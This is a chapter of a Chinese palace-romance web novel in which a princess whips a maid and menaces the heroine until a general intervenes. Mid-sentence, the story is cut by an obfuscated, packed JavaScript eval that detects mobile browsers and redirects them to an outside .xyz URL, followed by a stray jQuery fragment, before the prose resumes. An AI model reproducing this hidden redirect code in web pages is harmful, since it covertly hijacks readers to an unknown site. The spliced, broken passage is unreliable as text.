54. 鞭打

作品:《一觉醒来世子夫人逃婚了

    “郡主明鉴!”林晚霁闻言随即躬身,不再抬头直视她的双眼,“臣女虽不知郡主殿下何故要罚这宫女,但既然是殿下所为,自当是有一番道理的,臣女绝不敢妄议!”


    这个宛宁郡主,她简直是个疯子!


    林晚霁不禁闭上了双眼,她不愿再与薛妙仪有过多纠缠,可面前的女子却不打算放过她,只是饶有兴趣地抚了抚鬓边的金钗:“你说她犯了什么事?这个该死的贱婢,竟敢将给我沏的茶水倒洒了,你说,该不该罚?”


    林晚霁见不远处的菘蓝身子抖得不成样子,如今搬救兵已是行不通了,只好一咬牙,狠心回道:“自然是该罚的。郡主金尊玉贵,下头的人侍奉得不尽心了,自然是该罚。”


    “你果真这么想?”薛妙仪见她如此服软,却依然不打算就此揭过,眼中闪过一丝精光,往前走了几步,将她抵到凉亭的柱子前:“我怎么觉得……林姑娘在口是心非呢?还是说,你觉得这贱婢该死,倒是我罚轻了些?”


    薛妙仪将染着血的鞭子塞到林晚霁手中,俯身幽幽在她身侧附耳道:“既如此,林姑娘便好好替本宫料理了这奴婢,如何?”


    林晚霁死死咬住嘴唇,却并不敢接这鞭子。她心知薛妙仪是有意为难,只好跪下身来,“郡主恕罪。郡主之鞭如何尊贵,臣女怎好越俎代庖?还望郡主收回成命,莫要再同臣女玩笑了。”


    薛妙仪似是很满意她这副卑躬屈膝的样子,眯了眯眼睛,唇边扬着一抹笑意,可说出来的话却让人胆寒:“林姑娘既是不愿,想必方才的一席话,都是在阳奉阴违了。你既不愿动手打她,又要来坏我的兴致,让我想想,这该如何是好呢?”


    薛妙仪俯下身来,又捏住她的下颚,如一条毒蛇般在她耳旁吐信:“不如……林姑娘替这贱婢受罚吧?”


    此话一出,连在亭外立侍的菘蓝都白了脸色,慌忙朝上首跪下,不断磕头求饶道:“郡主殿下三思啊!我家姑娘是侧妃娘娘亲自遣召入宫的,说到底也是侯爵出身的小姐,您这般折辱她……”


    “真是聒噪。”薛妙仪不悦地起身,扔出长鞭,狠狠砸在了菘蓝的背上。她本是武将之女,这一鞭她用上了十足的气力,登时菘蓝的后背便多了一道血痕。


    菘蓝吃痛地尖叫了一声,额间冒着豆大的汗珠,但还是强忍着痛意,颤声道:“郡主殿下若是有气,便朝奴婢来,便是将奴婢打死也不为过……我家姑娘到底是侧妃娘娘的亲妹妹,正经的主子,如何能受得了您这般打骂……”


    “你以为我真的不敢打死你么?一个贱婢,也敢在这跟本宫叫板。”薛妙仪又用力甩出一记长鞭,打得地上的侍女皮开肉绽。


    见她吃痛地无法起身,薛妙仪这才冷笑着看向林晚霁:“你这婢子倒是十分的忠心,竟甘愿为了你赴死。只是若她死了,难免叫你们二人分离,我便大发善心送你一道,叫你们主仆团聚吧。”


    林晚霁见薛妙仪似是要动真格,不免心下也多了几分慌神,但仍是强迫自己镇定下来,直视着面前的狠戾女子,一字一句道:“郡主殿下,打死臣女事小,可要如何向侧妃娘娘,向东宫交代呢?说到底,若是您背上两条人命,传扬出去总归是对您的名声不好。再者,臣女的祖母是当今太后娘娘的亲妹妹,您就算不把臣女和安平侯府放在眼里,难道也不把太后娘娘放在眼里吗?”


    “你倒是个伶牙俐齿的,竟然敢搬出太后来压我。”


    薛妙仪饶有兴趣地看着她,手上的鞭子却并未放下,只是轻嗤道:“太后她老人家在寿康宫颐养天年,不问宫中诸事,便是本宫也不曾见过两面,又如何记得起你这么号人物?你若是求求我,多给我磕几个响头也行,我便饶你一命,只是你如今坏了我的好事……”


    林晚霁听着薛妙仪在她耳边不断的轻笑声,心一点一点地在下坠。她实在是想不通……若说梦中的上一世她是因为嫁错了人,挡了郡主的路,才被她残害致死,那么这一世,她分明没有议亲嫁人……


    那为何,薛妙仪还要对自己如何咄咄相逼呢?莫非是,忠勇侯府想要攀上郡主的高枝,她又得知了沈恒想要求娶自己一事,所以才这般百般为难自己?


    林晚霁的大脑飞速思索着,片刻,她抬起头来,目光直视着薛妙仪的双眸:“郡主您这鞭子落到臣女的身上倒是事小,只是臣女顶着一身的伤回东宫,叫侧妃娘娘和太子殿下知晓了,您当真能够全身而退吗?”


    “你在威胁本宫?”薛妙仪见面前的少女一改方才的惧色,不卑不亢地盯着她,一时间颇是恼怒。她扬起手中的鞭子,眼瞅着就要落下来:“那我便叫你看看,本宫敢不敢打你?”


    林晚霁闭上了眼睛,静静等待着那鞭子的落下。她已经在心中想清楚了,如今这副架势,薛妙仪根本不打算放过自己,这鞭子她是非挨不可了。说到底她如今也算是半个东宫的人了,打了她,便是在打太子和侧妃的脸面。郡主说到头来也只是郡主,并非皇室亲生,唯一仗着的不过是当今圣上对薛家的愧疚罢了。


    可若是这份宠爱已然越过了皇子的威严和脸面呢?届时只要她将这伤弄得再触目惊心些,叫宫中诸人传遍耳目,不消半日,宫中人人便都知晓了宛宁郡主对太子东宫的女眷动辄随意打伤的事。


    便是不为了她,太子和侧妃能容忍一个异姓的郡主爬到自己的头上作威作福吗?她在赌,赌她只要今日伤着走出御花园,东宫就一定会为自己做主的。


    若论身份,她确实比不上郡主,若是正面硬刚,无异于以卵击石;而自己现下唯一能做的,就是在人前示弱,伤得越重,她在东宫的倚仗便能硬上三分。


    想象中的疼痛迟迟没有落下。林晚霁闭上眼睛,只觉身前有一阵风袭来,有人快步走到亭中,只听得到一阵熟悉的声音:“宛宁郡主,在宫中目无王法,鞭打公侯之女,也不怕圣上怪罪吗?”


    林晚霁睁开眼睛,只看见一袭墨衫的萧时衍挡在自己身前,伸手接住了那将将落下的鞭子,死死地拉住,叫薛妙仪再也动弹不了分毫。


    “我当是谁。”薛妙仪淡淡睨了他一眼,想要抽回鞭子,却怎么也拉不回来,只是冷哼道:“败军之子,也敢来宫中犬吠,真是多管闲事。”


    萧时衍并未因这番话恼羞成怒,不动声色地将那鞭子扬起,扔到亭外,周身一股冷然的肃杀之气,叫人不敢近身。


    林晚霁躲在萧时衍的披风后头,一时间松了一大口气。幸好有萧将军及时赶到,不然……她可就要生生受这一鞭了。


    萧时衍见身后的少女如同瑟缩的小兔般可怜地跪在地上,一张小脸惨白,心中早已是心疼不已。他今日下了早朝,便来栖龙阁议事,听闻她来了御花园,本是想寻她闲谈一番,未想她竟是受了薛妙仪如此欺


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560754|164081||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    负……她在宫中势单力孤,要是他早些赶来,她就不会受这样的委屈了。


    萧时衍想到这里,心中暗暗叹了一口气,俯身牵过面前少女的手腕,将她稳稳地给扶了上来。


    林晚霁自然地接过萧时衍的搭手,二人一时靠得极近,连彼此的呼吸声都近若可闻。这亲昵的一幕似是刺痛了薛妙仪的眼睛,她好整以暇地双手环抱在胸前,冷笑道:“萧世子可真是怜香惜玉啊,只是要英雄救美,也当掂量自己有没有这个本事。你坏了本宫的好事,以下犯上,又该当何罪?”


    “郡主品行不端,暴虐成性,在宫中仗势欺人,也敢堪堪给人定罪。”萧时衍冷冷扫了她一眼,将林晚霁护在自己身后,沉声开口道“郡主此番肆意行事,轻贱人命,对得起圣上的恩眷,对得起薛老将军的在天之灵吗?”


    “你给我闭嘴!”提到薛家,薛妙仪面上的神情十分扭曲,她登时睁大了眼睛,抬手指着萧时衍,咆哮道:“你也配提我父亲的名讳?要不是你们萧家,临阵脱逃,败军溃散,我父亲又怎会命丧沙场?你们萧家身上背了多少条人命,圣上不治你们的罪,还让败将之子封了将军,简直是天大的笑话……”


    薛妙仪有些癫狂地大笑了两声,指着萧时衍,目眦欲裂地吼道:“萧家害了我薛家满门,你怎么还有脸在我面前提我父亲?”


    “郡主何必自欺欺人。”萧时衍静静瞧着薛妙仪有些疯癫的模样,冷声开口:“我父战败,乃是军中混入细作,与贼人里应外合,薛将军援军迟迟不至,偏逢叛军杀入,这才致使幽州失守,并非弃城溃逃。如今我已将幽州诸府悉数收复,得封将军,郡主莫不是在质疑圣上决策?”


    薛妙仪不可置信地轻笑了一声,眸中满是滔天的恨意:“萧时衍,我父亲七年前就战死沙场,你竟还要诋毁于他?分明是你们萧家打了败仗,还要降罪到我亡父头上,真是欺人太甚……”


    “究竟是不是萧家害死了薛将军,郡主岂会不知实情?”萧时衍冷眼看着她,神色变得阴鸷起来:“你既得了郡主之位,还敢终日言行无状,举止疯癫,也不怕圣上嫌恶,废了你的封号食邑?还是说,郡主需要我帮上一把,亲自去御前参你一本?”


    “你!”薛妙仪闻言,登时变了脸色,死死咬住唇:“她不过是个小官之女,我打了便是打了,与你何干?你当真要坏我的事,这般拼命相护于她?”


    “是。”萧时衍上前两步,将身后的林晚霁挡得严严实实:“郡主若是为难她,便是在与我萧家作对。你若是再敢如此欺辱,我定当亲告到御前,让圣上为我主持公道。”


    听到萧时衍如此护着自己,林晚霁倏尔睁大了眼睛。


    “你……”薛妙仪用手指着萧时衍,一时间气愤得说不出话来。说到底,她再张狂,也不过是仗着身后有皇上对薛家的愧念之情,而萧家如今如日中天,萧时衍又是征虏北狄的得力干将,若是真闹到御前,圣上如何取舍,自当是不言而明了。


    “萧时衍,别以为你能一直得意下去。你有军功又如何?你护得了萧家安稳一时,可护不了萧家一世。”


    萧时衍冷冷看着她,唇边勾起一抹讥讽的笑意:“萧某人也当劝郡主一句,多行不义必自毙,郡主还是好自为之吧。”


    薛妙仪知晓在他身上讨不到好处,也不欲与他多言,只是冷哼一声,拂袖走出了凉亭。